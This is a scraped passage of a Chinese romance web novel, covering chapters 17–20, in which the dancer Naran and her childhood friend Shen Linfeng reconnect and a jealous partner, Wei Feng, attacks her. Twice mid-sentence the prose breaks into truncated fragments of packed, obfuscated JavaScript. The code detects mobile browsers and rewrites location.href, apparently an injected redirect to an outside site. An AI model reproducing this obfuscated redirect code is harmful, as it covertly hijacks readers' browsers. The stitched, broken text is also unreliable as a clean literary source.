譬如说她不喜欢吃重油重盐的食物,不喜欢太甜或者太酸的味道,讨厌生洋葱和姜,沈临枫全部都知道,同时也会有意避开。 细细回想起来,沈临枫其实在她不知不觉的地方努力过很多。 她本以为的默契,实际上是因为他的用心。 可这种找不到缺陷的关系却让她感到一丝惶恐,自己似乎没什么能回报他的,甚至连他的感情都做不到坦然回应。 假如沈临枫知道自己在梦里对他那样做,怕是会觉得匪夷所思。 实话说,就连奈然自己都觉得荒唐,可又无法违背内心地承认,那样几乎使她感觉到热血沸腾。 在看到沈临枫被自己弄到恍惚的模样时,她脑袋里的某一根弦在兴奋的抖动,发出震耳欲聋的响声,调动着浑身的细胞因此活跃。 她很不对劲。 而现在,她要从头开始好好理清这种“不对劲”的缘由。 敲响门后,屋内的人很快赶来打开了门,在看清她的同时,愣了一下,像是被眼前的景象惊讶到,接着有些局促地垂下眼帘,掩盖住眸中情绪:“你来了。” 将他的所有反应尽收眼底,奈然有些摸不清头绪。 她今天确实有意打扮,但并没有那么隆重,还不至于让人觉得奇怪。 自己的想法很简单——从前和沈临枫相处的自己过于青涩,每天不是在练舞,就是在去学校上课的路上。 有时候会觉得,这样的自己会不会让沈临枫觉得幼稚? 虽然有着年龄差别的事实,但她并不想让自己在沈临枫的认知当中被局限于“妹妹”的刻板印象里。 奈然点头,不动声色地扫了一眼他系着的格纹印花围裙:“还在准备吗?” “还剩最后一道,马上就好,你先坐在客厅等我好吗?” 奈然看向他还不能完好行走的右腿,意有所指道:“我帮你一起吧。” “不用,很快就好。”带她到客厅坐下后,沈临枫匆匆走进厨房。 深知这不是自己擅长的领域,奈然老老实实在沙发上呆着,一边留意着厨房里的动静,一边盯着桌子上的花瓶出神。 独自发呆的时间很快被打断,因为沈临枫这次并没有关上房间的门,酥酥听到声音后从房间里跑了出来,见到奈然后高兴地竖起了尾巴,毫不掩饰对她的喜欢,围着她的脚踝旁边撒娇。 一想到自己居然因为它误会了沈临枫,奈然心怀愧疚,轻轻抚摸它的头顶:“你的小宝宝呢?” 像是听懂了她的话,酥酥叫了一声,转身往房间的方向跑去,半路又停下来回头看奈然,示意她跟上自己。 没得到沈临枫的允许,奈然不好随意进出他的房间,于是来到厨房门口询问:“我可以进房间看看小猫吗?” “当然。”沈临枫答应得很快,却奇怪地没有回头看她:“就在我房间的桌子旁边。” “哦。”奈然皱眉,怀着不解的情绪走进沈临枫的房间。 看到小猫崽后,她所有注意力顿时被这些奶呼呼的小东西吸引了。 酥酥一共生了五只小猫,毛色各不相同,最小的那只和酥酥一样是一只三花,体格也比其他四只小猫瘦弱许多。 酥酥跳了进来,躺在小猫的身边,充满爱惜地伸出舌头舔了舔小猫们,翻出肚皮让它们随时能喝到母乳。 奈然看着这副场景,内心不免沉重了起来。 这样的沉重一直持续到开始吃饭,才被其他的情绪暂时替代。 两年未见,沈临枫的厨艺又精湛了许多,吸满了汤汁的排骨入口即化,鲜香美味,吃上一口仿佛有赶走负面情绪的魔力,令奈然赞不绝口。 面对奈然的夸奖,沈临枫低着头笑了笑:“如果你喜欢,随时可以告诉我,我会提前准备。” 奈然欣然答应,盯着沈临枫垂下的眼睫,似乎猜到了什么,故意问道:“哥哥,今天也能帮我按摩吗?昨天你按过之后,我感觉好了很多。” “真的?”沈临枫终于抬起头,十分高兴自己能够派上用场,“那太好了,你的手臂不痛了吗?” “本来是的。”奈然伸出手,可怜巴巴地说:“不过今天上午又练了舞,还是有些疼。” 闻言,沈临枫的表情立刻严肃起来,想让她不要带伤练习,可他深知奈然骨子里要强的性格,只得作罢:“吃完饭我帮你。” 达成目的的奈然喜滋滋捧起碗,在沈临枫看不到的地方勾起唇角。 吃过饭后,沈临枫烧了一壶热水,倒在盆内,用毛巾沾湿:“先用毛巾热敷一下吧。” “好。”奈然答应下来,嫌穿着大衣不方便,随手将其脱了下来。 然而,在大衣滑落肩膀的一刹那,沈临枫猛然回避的视线引起了奈然的注意。 她似乎猜到对方究竟因为什么而表现反常了。 奈然低头看了一眼自己,确认只是一件普通的针织紧身裙,硬要说的话,无非就是修身了一点。 她有意无意瞟了一眼沈临枫的耳朵,上面果然透着一层薄红。 恶劣的心思在心底生根发芽,会因为这种事情感到不知所措的沈临枫让奈然感到新奇,没有了属于年长者的游刃有余,既青涩又害羞。 看起来很好欺负。 奈然捋起左边的袖子,故意伸到沈临枫面前:“哥哥,你帮我。” “……”沈临枫抿唇,似乎在为自己的反应过度而懊恼,明明奈然性格纯真,自己多想反倒是对她的不尊重。 热气腾腾的毛巾裹在皮肤上,带来难以言说的舒适感,肌肉筋络因温度升高而活跃,加快了血液的流速。 这次,沈临枫坐在奈然的左手边,将她的小臂放在自己的腿上,按照昨天同样的手法揉按。 因排练的酸痛随之消减,奈然放松地靠在沙发背上,不经意提起今天发生的事情:“老师说我还可以继续上场,参加校庆表演的剧目。” 她轻描淡写地揭过了自己受伤的原因,以及中途差点被替换掉的插曲,只把好消息告诉给他。 沈临枫扭过头,替她高兴:“那就好,听说这次是你们学校一百周年的校庆,到时候应该会有很多人去看吧。” “对,所以系里才这么重视这次的表演,会有国家级的老师来呢。” “是么?”沈临枫手上动作不停,“对你来说一定是很好的表现机会,你的梦想……很快就能实现了吧。” 说着说着,他默默俯首,隐去了自己的表情。 他知道奈然从小的梦想,是加入芭蕾舞团,站在世界上各个国家的剧院里进行演出。 这个梦想其实并不简单,只不过奈然的 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她决定说点什么来转移沈临枫的注意力:“哥哥,你会来看的吧?” “……什么?”沈临枫抬头,眼中闪过惊讶的情绪。 “校庆啊。”奈然说,“迎新晚会你都去了,这次总不能不来吧。” 没想到了她会直接邀请自己,沈临枫心中的阴霾尽数散去,难掩欣喜:“我会去的。” 见他情绪好了许多,奈然会心一笑:“说好了,到时候我会在台上找你的。” 剧目群里通知下午三点集合试装,奈然没在这里呆太久,结束了为时半个小时的按摩后,起身穿上大衣打算回去。 其实离集合的时间还有一个多小时,不过她似乎没别的理由留下,总不能让沈临枫真像个按摩师一样工作两个小时,何况他的手也才刚好不久。 临走前,她状似无意问了一句:“哦对了,哥哥,你有闻到我身上的味道吗?是我新买的香水,还不错吧?” 沈临枫缓慢地眨了眨眼睛,似乎在努力辨别着什么:“嗯……闻到了,很好闻。” “是吗,你觉得是什么味道?” 望着奈然笑意盈盈的眼睛,沈临枫总觉得自己仿佛正在掉进某个专为他布置的陷阱之中:“有点像咖啡的香气。” “还有呢?”奈然忽然上前一步,微微踮起脚尖,靠近他的耳畔,轻声开口:“你可以靠近些闻闻。” 她有意去观察沈临枫的表情,偏过头去,看到他微微凝滞的表情。 沈临枫被周围蓦然浓郁的香水包围,像是迈入了一座神秘的花园,奈然近在咫尺的气息洒在耳后,让他不禁浑身紧绷,手脚都僵硬起来。 留意到他的反应,奈然暗中愉悦一笑,现在的沈临枫和梦里的他如出一辙,有些可爱。 即便紧张到屏住呼吸,沈临枫依然不忘遵循对方的话,努力辨别着空气中的味道:“花香……香草的味道。” 奈然没打算难为他:“说得很准嘛,下次可以请你帮我做参考。” 她摆摆手,正欲离开,被沈临枫叫住。 “后天,我可以去学校找你吗?”他问道。 虽然有些好奇为什么不是明天是后天,但奈然没有追问,点头答应:“好啊,有什么事吗?” “房东留的有烤箱,我买了烘焙用的材料,明天先试着做一些饼干,如果还算成功,就给你拿一些。” “真的吗?”奈然已经开始期待他的成品,“太好了,正好排练累的时候可以吃点甜食缓解压力。那我们后天见?”“ 鼻尖那股来自奈然周身的甜香萦绕不散,让沈临枫乱了心神。 “嗯,后天见。” 18. 窥见 试完演出服拿到合身的服装,校庆正式进入最后的彩排环节,不同学院所有参加表演的学生都需要到云艺大的礼堂后台准备,按照事先安排好的流程走一遍。 尽管每个节目有强制的时间限制,整场庆典晚会的时间依然足足有四个小时。 第一次彩排,中途状况频出,灯光音响配合不到位,舞台上的道具替换出错,为保证流畅性,每次出错都需要从上一个重要节点重来。 两次流程走下来,硬是从早上九点一直到晚上九点才彻底结束。 特别是芭蕾表演系的剧目,中间有后勤的学生拉错了滑动背景板,导致同一场景反复跳了三遍。 一天彩排结束,无论是表演的学生还是做后勤工作的学生都精疲力尽,收拾好东西三三两两从礼堂离开,踏着深夜的暗色往宿舍走去。 奈然收好自己两套不同的舞裙,换上自己的衣服后,在更衣室里转了一圈,没找到穆淼淼的身影,猜测她可能有事先离开,便带上自己的东西,走出后台。 后台有一条走廊直通礼堂的侧门,从侧门出去正好是能通往奈然所住宿舍区的一条小路。 刚走出侧门,一道清朗的声音自右边传来。 “学姐!” 周围除了她没有别的人,奈然应声回头,看清对方的面容,不禁疑惑:“高晨睿?” 听到自己的名字,对方展现出灿烂的笑容,从灯光昏暗的地方小跑过来,站到奈然面前:“终于等到你了,我就猜你会从这里出来。” 这话说得直白,奈然心生不解:“等我?是有什么事吗?” 她和高晨睿非亲非故,刚认识不到一星期,除了排练以外,完全没有别的交流。 “啊,是有一件事,不过我们可以边走边说吗?我的宿舍也在南区,刚好顺路。” 这个要求并不过分,奈然点头答应。 他们并肩朝南宿舍区的方向走去,石子路两侧种满了枇杷树,秋风吹落的树叶没有及时清理,铺了满地。 高晨睿很健谈,即便他们两人之间的关系不算熟,一路上也没有冷场。 令奈然意外的是,本以为对方是因为一些无关紧要的事情找自己,没想到高晨睿对芭蕾似乎抱有十分专业严谨的态度。 “我们才一起跳几天嘛,我又是中途加入进来的,怕跟不上大家的进度,偶尔会自己看着排练视频练舞。”高晨睿挠挠头,有些不好意思地讲:“实话说,这两天和学姐你配合下来,我发现自己还是有很多不足的地方,特别是第二幕宴会情节那一段,我的节奏总是会慢,特别是中间和你一起旋转接大跳的时候,好几次差点没站稳。” 他说得问题奈然同样有注意到,但对于他主动提出这件事,不免惊讶:“其实你已经做得不错了,男生的重心偏高,和女生相比不那么轻盈,一般来说会更注重力量感,大跳想要稳住重心,必须在前一个旋转动作之前就做好准备,两个动作之间衔接的时间很短,没有起跳的准备时间,所以你要保证身体是稳的,但不要把所有努力都放在腿部。” “这是为什么?腿部动作很快,如果不控制好,大跳不就更难保持平衡了吗?” 奈然看了他一眼,反问道:“那你之前集中于腿部,问题得到改善了吗?” 高晨睿一噎:“好、好像没有。” “那就对了。”奈然道,“你无论怎样去改善腿部的动作,都无法避免因失衡而掉节奏,腿部动作的确是难点,也是重心,但不是舞蹈的全部。” 面对专业问题,奈然态度认真,语气沉稳:“显然你太过纠结这个问题,让自己陷入错误的认知了。” 她专注分析的神情让高晨睿不禁挺直了腰杆,莫名有种在上课的感觉,悉心聆听。 “平衡是一个点,不能多也不能少,你想每次都完美无缺找到这个点,几乎是不可能的,就算我们再怎么刻苦的去练,也只是在无线趋近于这个点,实际上,这是一个概率问题。” 望着疯狂点头的高晨睿,奈然接着说道:“其实谁都会有没找到平衡的时候,而真正的区别在于,专业的人懂得快速去找回平衡,并且不被其他人看出来,你的上半身,你的手臂,就是最好的工具。所以在你集中用腿部去保持平衡的时候,会发现很难在短时间内完成,但如果你分出一些的想法在你的手臂或者上半身,它们会协助你自然而然稳住身体的重心。” 眼看快走到宿舍,奈然收束话题:“总而言之,你可以多试着用手臂去找平衡,多练多试,其实你跳得很不错,不用担心表演会出问题。” “嗯!”听到夸赞自己的话,高晨睿喜笑颜开,“能和学姐你一起同台演出,我当时激动了好久,不管怎么样,我一定会好好珍惜这次机会。” 他一口一个学姐,奈然有些无奈,非常不适应这个称呼:“不用叫我学姐了,叫我名字就好。” “好的,奈然姐姐。” 奈然浑身鸡皮疙瘩都要冒出来了:“喂……” 高晨睿笑得开心:“开玩笑开玩笑,那我叫你奈然学姐总可以了吧?” 这个称呼勉强不算奇怪,奈然没反驳,权当默认,冲他随意摆摆手:“我到宿舍了,先走了,明天再见。” “等等!”高晨睿快走两步追上来,“还有一件事,下个月D国的皇家芭蕾舞团要来云泓大剧院演出,我想邀请你和我一起去看。” “和我?”奈然挑眉,“找你舍友一起不就好了吗。” “我这不是想着能和奈然学姐你聊更多专业话题嘛,到时候一定能学到很多。” 奈然好整以暇地看着他,干脆的拒绝:“不好意思,我大概没空。” “啊…”高晨睿颇为失望,不死心的追问:“真的不去吗?我姑姑正好在剧院工作,可以免费搞到票的。” “谢谢你的好意,不过我确实没空。” 她知道这场演出,也抱有想去看的心思,但不是和高晨睿一起。 “好吧,我再问问别人好了。”高晨睿耸耸肩,并不生气,“那我就先走了,回见!” 奈然抬了抬手,算是道别,转身离开。 看着她的背影进入楼内,高晨睿才往后面的宿舍楼走,沉浸在想奈然刚刚说的内容,思考着要怎么利用手臂来保持大跳落地时的平衡。 由于太专注,路过拐角处灯光昏暗的位置,他不小心和站在原地的人相撞,趔趄着向后退了一步。 “啊,抱歉抱歉,我没注意看,撞到你了。”意识到是自己的问题,高晨睿连忙开口。 奇怪的是,对方却没有对他的道歉给予任何回答,像是根本没听到他的话。 安静的气氛有些尴尬,高晨睿疑惑抬头。 这里处于墙壁的阴影处,他只能瞧见对方反射出微弱光亮的幽沉双眸,与周遭夜色融为一体。 对上视线的那一刻,高晨睿莫名浑身瑟缩一瞬,总觉得这人的眼神对自己很不友好。 毕竟是自己没看路在先,他正想开口缓和一下气氛,面前的人忽然动了,幽然的目光只在他身上停留了片刻,随之转移,一言不发走开,好像把他完全当做了一团空气。 “拽什么……”高晨睿没好气嘀咕了一句,忽然看到对方架着拐杖,心中一惊,刚产生的那点不爽顿时烟消云散,太过意不去以至于甚至想扇自己一巴掌。 叫你走路不看路!把人家撞出毛病可怎么办! * 回到宿舍,奈然瞧见穆淼淼已经坐在里面:“小水,你什么时候回来的?我刚刚在更衣室没找到你。” 敷着面膜的穆淼淼很含糊回应:“我的演出服有点问题,就去找老师了,我给你发了消息呀。” “哦,我没来得及看手机。”奈然恍然,这才拿出放在包里的手机。 除了穆淼淼之外,还有沈临枫一个小时前发来的消息。 奈然立刻点开。 哥哥:我今天先做了一部分,效果还不错,放到明天可能会变软,你晚上有空吗,我去宿舍楼下找你。 中间隔了大约半个小时的时间,沈临枫接着发了一条。 哥哥:我把东西放在你们宿舍楼下的管理处了,听说你们今天彩排很长时间,早点休息。 把东西放到她们宿舍楼下,这不证明沈临枫刚刚来过吗!? 奈然急忙打字,问他已经走了吗。 虽然可能没有什么必须的理由,但沈临枫既然来了,她还是挺想见对方一面的。 可惜这一想法没能成功如愿。 哥哥:已经回去了,你今天早点休息吧,明天晚上我再来。 奈然有一点失望,如果自己再早一些回来,是不是就能碰到沈临枫了? 惋惜的情绪并没有在心里停留太久,下楼找到沈临枫放在宿舍管理室的东西时,奈然看着手里的包装袋喜上眉梢。 他总是会在一些细节方面很用心之至,譬如这次他送来的曲奇饼干,就用透明包装袋和贴纸分装成不同的小袋子,每个袋子里面均匀分布着三种不同颜色的饼干,按照颜色猜测大概时巧克力、草莓还有香草味。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065253|161856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 奈然满心欢喜的上楼,将这份用心的礼物分享给其他三个室友,不出所料得到一致好评。 “这个不腻哎,我上次去学校的面包店也买了曲奇,吃了两口就咽不下去了,齁甜。” “好脆!是刚烤出来的!” “香草味的好好吃,奈奈,你在哪里买的?我也要买!” 奈然笑而不语,在她们的轮番追问下,终于开口:“不是买的,别人送的。” 穆淼淼三人异口同声:“什么!?” 像是听到了什么惊世骇俗的传闻,李橙月和祝银兰瞠目结舌:“你不是从来不收别人送的东西吗?” 从大一入学以来,她们见到不下二十个人把礼物送到宿舍楼下或门前,无论是昂贵的奢侈品牌还是奶茶鲜花,全部被奈然拒之门外。 她从不会无缘无故接受别人的示好,也从未对某个人另眼相待。 她们甚至背地里讨论过,究竟什么样的男生才能值得奈然多看一眼,争论了三个小时,答案是无解。 奈然基本上不主动讨论和自己无关的人或事,上大学见过最多次的人除了她们这几个舍友就属专业里的老师。 现在,这个带着答案的神秘人出现了! 她们心里好奇的要死,可奈然又守口如瓶,不透露任何关于对方的消息,只说是认识的朋友。 谁信啊! 在李橙月和祝银兰抓耳挠腮的时候,一旁初见端倪的穆淼淼表情变幻莫测,趁她们不注意把奈然拉到卫生间。 被堵在墙边的奈然莫名其妙,看着眼前神神秘秘的穆淼淼,问:“怎么了?” “奈奈,她们不知道,你可别忽悠我。”穆淼淼用手指戳戳她的手臂,“是不是合租的那个学长送你的饼干,快说!” 闻言,奈然丝毫没有被揭穿的尴尬,不慌不忙挑起眉:“嗯,没错,就是他。” “怪不得你昨天去找他,你们两个……”穆淼淼捂住嘴,“是真的!?” “什么是真的?”奈然哭笑不得,“没有的事。” “你之前对那些追求你的男生可不是这样的,才不会收他们送的东西,也不会穿得那么漂亮去见面。”穆淼淼目光如炬,两只手握住奈然的手腕左晃右晃地撒娇,“你就告诉我吧,不然我今天要睡不着觉了!” “好吧。” 奈然最受不了她的撒娇攻势,瞬间缴械投降,清了一声嗓子,说道:“我跟他,也就是沈临枫,不是迎新晚会才遇到的,我们十五年前就认识了。” 这回穆淼淼是真的震惊了,一时间都忘了询问细节,呆呆地站在原地听奈然讲述她与沈临枫之间的事情。 “至于关系……”奈然半垂着眼,掩去了某些情绪,“他是我的朋友、也像是我的哥哥,从小到大,我们几乎形影不离。” 说到一半,奈然抬眸,故作平静的目光深处却含着若有似无的哀伤。 “小水,我和你说过我有一个初恋吧。” 穆淼淼慢慢睁大了眼睛:“难道……” “对,是他。”奈然承认。 惊讶之余,穆淼淼突然回想起前段时间和奈然讨论到理想型的话题,她就说奈然的喜好怎么正好和沈临枫符合,原来根本就是照着他说的! 无论如何,这也太魔幻了! “所以你们是复合了吗?”她小心翼翼地问。 奈然轻轻摇头,露出一个稍许复杂的笑:“不是。” “那就是即将要复合了?” 奈然再次摇头:“我也不知道。” 两年前,她对沈临枫无疑是喜欢的。 随着时间冲淡了这份浓烈的情感,在她心底深深掩藏。就算现在想要挖出来,也只会发现不复当年那般纯真热烈。 更何况,对于正常人来讲,自己恐怕就是个异类。奈然自嘲地想。 尽管她了解沈临枫,知道他有可能为了自己改变。 偏偏她有着属于自己的自尊心,与其利用沈临枫的喜欢逼迫他妥协,她宁愿不要这样委曲求全所得来的感情。 她本是这么想的。 可感情这种事情,并不能由理性操控,否则她也不会在遇到沈临枫之后,一而再再而三的做出与想法相悖的行为。 而现在,两年以来她所坚定的事情,正渐渐动摇,朝着连自己都无法预知的方向发展。 他们的重逢不是偶然,是沈临枫努力换来的第二次机会。 这一次,她决定顺其自然,不再回避,无论结果如何,她都会坦然接受。 19. 隐瞒 "奇怪,这个音怎么就是调不准呢……" 周彦泽抱着一把吉他,对着琴头的弦钮左看右看,就是调不到最佳音准。 这把吉就没用过几次,前天搬来的时候不小心摔了一下,难道摔出问题了? 正郁闷的时候,旁边响起门锁转动的响声。 周彦泽回头,看到开门进来的沈临枫:“沈哥,你去哪儿了?怎么脸色有点难看啊,碰见啥事儿了?” “没事。”沈临枫控制住表面上外溢的情绪,“你在练吉他?” “哦,随便玩玩,我不是专业的。”周彦泽拿拨片随意扫弦,发出又高至低的琴音,清脆悦耳,带着民谣吉他独属的休闲感。 他虽然不是专业练琴,但对于各种乐器都有种高品质的追求,这把吉他是他花了几千块大洋买下的,当初在琴行就一眼相中它的声音。 注意到沈临枫略微惊讶的表情,周彦泽笑开来:“怎么样,还不赖吧?” “嗯,很好听,应该不便宜吧。”沈临枫走过来。 “贵不贵的,买个喜欢。” 嘴上是这样说,周彦泽明显因沈临枫的夸赞高兴了起来,忍不住又扫了两下。 这次沈临枫听出了点什么,安静思索半晌,说道:“音是不是不太对?” 沉浸在美妙音调里的人一惊,骤然转头看向他:“不是吧,哥,这你也能听出来?” “只是感觉。” “你可别谦虚,一般人真听不出来,第三弦确实没调准,我估摸着是前天搬东西的时候摔到哪里了,怎么调都不对劲。”见沈临枫了解,周彦泽来了兴致,屁股朝他旁边挪了挪,凑近他嘿嘿一笑:“看不出来呀,原来理科生也懂这个。” 沈临枫波澜不惊:“我真的不懂,只是小时候学过一段时间的钢琴,凑巧而已。” “你还学过钢琴!”周彦泽提高了音调,对他刮目相看,“十项全能啊,沈哥。我那正好有编曲用的键盘,以后说不定有机会还要找你帮忙。” “恐怕你要失望了,我已经很久没有练过,早就忘了。” “别介,我相信你。” 沈临枫笑了笑,没回应这句话:“吃过晚饭了吗?我准备煮点南瓜粥喝,要喝吗?” “要要要!我正愁点什么外卖呢,这不白嫖一顿,下次请你出去吃。” 沈临枫没有拒绝,起身去厨房做饭。 不到二十分钟,香味就从厨房飘到客厅,引得周彦泽再也无心摆弄他的吉他,忍不住跑到厨房看沈临枫究竟做了什么好吃的。 沈临枫站在灶台前,颠锅翻勺的动作娴熟流畅,寻常不过的家常炒菜经过精准把控的调味,爆出诱人的食物香气,让他垂涎欲滴。 对于厨艺这种东西一窍不通的周彦泽难免感慨,怪不得穆淼淼天天念叨着什么找对象要上得厅堂下得厨房。 以前的他嗤之以鼻,现在的他觉得好有道理。 想起那天在小吃街穆淼淼说的话,他不禁暗自从上到下打量了沈临枫几遍。 好吧,确实比自己那些半吊子朋友看起来要靠谱多了。 奈然那样几乎完美的女生,看来也只有像沈临枫这样的人才配得上吧。 吃饭的时候,周彦泽把心里的想法说了出来。 他还记得沈临枫说过他和奈然是在迎新晚会上认识的,昨天奈然甚至还单独来找了沈临枫,怎么想都觉得有猫腻。 “沈哥,我也不拐弯抹角了。”周彦泽视线充满了求知欲,直言问道:“你是不是在追奈然呢?” 沈临枫夹菜的动作一顿,抬眼看他:“为什么这么说?” “这……”周彦泽托着下巴,解释的有理有据,“我也是男生,肯定懂咯,主动要女生的联系方式,不就是第一眼有好感,想发展一下试试嘛,何况像奈然长得那么漂亮的女生,人之常情人之常情。” “看来你知道很多。”沈临枫看着他,露出一个看似温和的笑容:“不妨讲讲?” 莫名地,周彦泽被他这一眼看得脊背发凉,生怕他误会了什么,举双手以示清白:“先说明白,我是无辜的!我只喜欢我女朋友。” 说着,他毫不犹豫把自己朋友们给卖了:“至于我知道的其他人……咳咳,都比不过你。” 虽然对不起朋友,但他这话出自真心。 那群毛手毛脚的家伙各方面还真不如沈临枫。 关键是人家从头开始就已经赢了呀!自己旁敲侧击帮朋友问了多少次奈然的联系方式,到现在都没有拿到手,人家沈临枫这不早就占据先机了吗。 为了感谢沈临枫的晚饭投喂,周彦泽这跟墙头草决定往自己的新室友这边倒:“我跟奈然接触的不多,不了解她的性格,但听我女朋友说过,她很要强的,尤其是对待她的专业,哦对了,上周我们碰巧遇到一起吃饭来着,她胳膊受伤就是因为准备校庆的剧目。” 沈临枫安静听他说话,这些都是他知道的事情,所以反应淡淡。 周彦泽不觉有异,自顾自的说着:“你说有些人脑子是不是有病,不就是被拒绝了吗,难道他是什么大人物?居然还蓄意报复,啧,小肚鸡肠到没边儿了。” 沈临枫眸色一闪,敏锐地察觉到了什么:“为什么这么说?” “嗯,奈然没和你讲吗?”周彦泽不可思议。 预感不会是他想听的内容,沈临枫蹙起眉:“发生了什么吗?” 周彦泽没想那么多,一股脑说了出来:“是她们专业的一个人,叫什么来着……魏丰?好像是这个名字,在这次剧目里给奈然跳男伴的,排练的时候不是有那种托举的动作嘛,直接把奈然摔到地上了,说自己是失误,谁知道是不是故意的呢,连女生都举不起来,还跳什么芭蕾啊?如果摔得是淼淼,我非得把他打得满地找牙不可!” 周彦泽光顾着自己义愤填膺,完全没注意到对面人的表情变化,直到他喋喋不休说完后,才被沈临枫冷若冰霜的脸吓了一跳。 自从找房子见到对方开始,他还是第一次见到沈临枫露出这样的表情。 果然脾气好的人发起火来最可怕。 周彦泽情不自禁缩了缩脖子,没了刚刚骂人的气焰:“我是听淼淼这么说的,真实情况我也不太清楚,沈哥,你还是直接问问奈然比较好。” “嗯,我知道。”沈临枫唇角轻扬,笑意却不达眼底。 事到如今,他怎么可能想不明白,奈然故意向他隐瞒了这件事。如果不是周彦泽无意中说出来,自己到现在还被蒙在鼓里,认为她的受伤出自练舞。 尽管不清楚奈然出于什么样的想法而隐瞒,既然她想这么做,自己便继续会顺着她的心意假装不知道。 但不代表他会袖手旁观。 * “表演系的后勤人员都到了没,马上清点你们的道具,一分钟后报幕结束,按照你们的要求布置准备,时间有限,避免出错。” 后台人员匆匆来去,执行着自己的工作,帷幕外的音乐逐渐缓停,各学院准备的表演节目接连完成彩排,效率较于昨天首次彩排提升了不止一倍,除了一些细节上的问题以外,基本没有大的失误。 由于芭蕾表演系的节目排在倒数第三个,最后一次彩排过后,依然接近深夜。 其他先结束彩排的学生已经离开,后台只剩下几个收拾残局的学生后勤。 奈然回到后台,找到自己的背包,第一时间掏出手机来看。 早在中午的时候,她抽空和沈临枫聊了几句,让他晚上等自己结束再看情况要不要来,如果太晚就不用过来了,毕竟他现在身上有伤,来回也不方便。 奈然瞧了一眼时间,内心犹豫。 快九点钟,说早不早说晚不晚的时间。 思来想去,她决定把选择权交给沈临枫。 然:我这边结束了,你要来吗? 对于她的消息,沈临枫向来很快回复。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113505|161856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 哥哥:我已经到你们学校门口了。 奈然打字飞快。 然:我可能还要十分钟?我得换一下衣服,很快! 哥哥:没关系,你们是在礼堂排练吧?离校门不远,我直接去礼堂找你。 然:好,那我现在就去收拾。 发完消息,奈然背着包走去更衣室。 表演服装比较繁琐,脱起来有些费力,奈然花了将近十分钟的时间,才整理好所有东西。 换衣服的中途穆淼淼询问她要不要一起回宿舍,她带着歉意回绝,说还有别的事情。 背着包走出礼堂,夜色深沉,今天的秋风格外凛冽。 奈然拉高外衣拉链,将下半张脸藏在衣领下,四周关顾,寻找沈临枫的身影。 没看到他,奈然朝着通往校门的必经之路上走去。 快到立冬,云泓市的气温骤降,最低温度已经突破零下,一夜之间秋叶落了满地,进入属于冬天的萧瑟。 正因如此,平日里喜欢在树林旁散步的学生都消失不见,只剩下寥寥几人匆忙赶路。 很快,奈然留意到身后不太寻常的脚步声。 这脚步声与她始终保持着一定的距离,存在感十分强烈。 奈然有些奇怪,停下来回头看去,黑暗中瞧见一个高挑的身影,隔了大约十米的距离,那人的身影隐在暗处看不清晰。 奈然站在原地,见对方朝自己慢慢走了过来,试探着喊了声沈临枫的名字。 暗色里那道身影没有回答她的话,却还在持续靠近。 奈然心里隐隐感到不安,向后退了一步。 察觉到她的警惕,对方猛然冲上前来。 借着路灯微弱的光,奈然看清楚他的脸,不禁瞳孔一缩。 直觉告诉她对方来意不善,可她已经没有时间跑开。 眨眼的瞬间,他已然来至面前,不给奈然反应的机会,用力攥住了她的肩膀。 奈然吃痛地闭上眼睛,再睁开时对上魏丰阴翳的表情。 她用力想挣脱,奈何对方似乎正处于一种极端的情绪下,根本不讲道理。 “魏丰,你干什么?!” “我干什么?呵呵……”魏丰此时的五官相当狰狞,眼里露出愤恨的凶光,言辞尖锐:“你说我干什么啊,你装什么装?不是你向老师告的状吗?” 魏丰的情绪有些激动,奈然冷静下来,不再持续激怒他:“你误会了,我从来没有向老师告过状。” “不可能,肯定是你!是你记恨我故意让你受伤,才和老师这么说,不然我凭什么被换掉!?” “你被换掉关我什么事?松手!” “事到如今,你还装什么清高,明明手臂都受伤了还能上场,谁知道你是不是和老师串通好的?怎么,你没胆承认?” 奈然已经没有耐心再和他胡搅蛮缠,欲加之罪何患无辞,魏丰已经认定是她做的,那自己无论怎么解释都没有用。 她用力推开魏丰的手,想要拉开距离,却被对方不依不饶追了上来。 “都是你!凭什么你受伤了还能上场……” 魏丰死死捏住奈然的手臂,理智全然被愤怒所驱使:“我为了这次机会练了这么久,都是你害了我!” 他有意去抓奈然受伤的左臂,让她反抗不了。 奈然咬牙扯出自己的手臂,望见魏丰高高举起的拳手,下意识闭上眼睛。 “砰!” 沉闷的撞击声响起,奈然却没有感觉到痛感。 手臂上的力道一松,她蓦然睁开眼,看到魏丰捂着手臂跌坐在地,发出痛苦的低吟。 注意力只在魏丰身上停留了一秒,奈然直直望向眼前的人。 幽暗夜色中,沈临枫的双眸仿若寒星,亮的出奇。 他缓缓放下手,冰冷的神情在和奈然对视的一瞬间融化殆尽,满是焦急。 “然然,你没事吧?” 20. 反击 在奈然眼中,沈临枫自小便是一副温和的性子,待人礼貌,成绩优越,是所有家长最喜欢的那种别人家的小孩。 有时候奈然会觉得沈临枫的性格太过柔和,和别人交往的过程中很可能会吃亏,毕竟在初高中,学生都还心智不成熟的时候,隐形的欺凌比比皆是。 奈然偶尔故意惹沈临枫生气,可每次对方都会笑着说没关系,这让她愈发担忧。 这份担忧一直持续到初三那年,才有所改观。 事情的起因,是奈然某段时间遭受到几个同校高年级的男学生骚扰。 那时候,沈临枫在北阳市第一中学上高中。 作为市内最好的高中,一中对学生的管理相当严格,尤其是即将面临高考的高二和高三年级,每天晚上自习到十点才结束。 